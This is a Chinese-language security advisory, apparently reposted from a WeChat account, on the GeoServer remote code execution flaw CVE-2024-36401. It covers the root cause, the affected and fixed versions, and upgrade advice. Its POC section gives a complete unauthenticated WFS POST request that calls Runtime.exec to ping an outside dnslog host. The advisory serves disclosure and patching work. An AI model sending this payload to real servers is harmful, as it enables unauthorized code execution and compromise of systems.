漏洞描述:
GeoServer是一款开源地图服务器,主要用于发布、共享和处理各种地理空间数据,其依赖GeoTools库来处理地理空间数据,受影响版本的 GeoTools 库 API 在处理要素类型的属性名称时,会将这些属性名称不安全地传递给commons-jxpath库进行解析,且 commons-jxpath库在解析XPath 表达式时可以执行任意代码,导致未经身份验证的用户能够通过/geoserver/wfs 接口执行任意代码,在修复版本中,通过在 GeoTools 库中新增 JXPathUtils 类提供 newSafeContext 方法,该方法通过设置空的 FunctionLibrary 来创建禁止调用 Java 方法的 JXPathContext,防止在 XPath 表达式中调用任意 Java 方法。
POC:
POST /wfs HTTP/1.1
Host: ip
Content-Type: application/xml
Content-Length: 336
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"ping om9uxo.dnslog.cn")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
影响范围:
2.25.0 <= GeoServer < 2.25.2
2.24.0 <= GeoServer < 2.24.4
GeoServer < 2.23.6
安全版本:
GeoServer 2.25.2
GeoServer 2.24.4
GeoServer 2.23.6
修复建议:
升级至安全版本及其以上
原文始发于微信公众号(飓风网络安全):【成功复现】GeoServer 远程代码执行漏洞(CVE-2024-36401)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论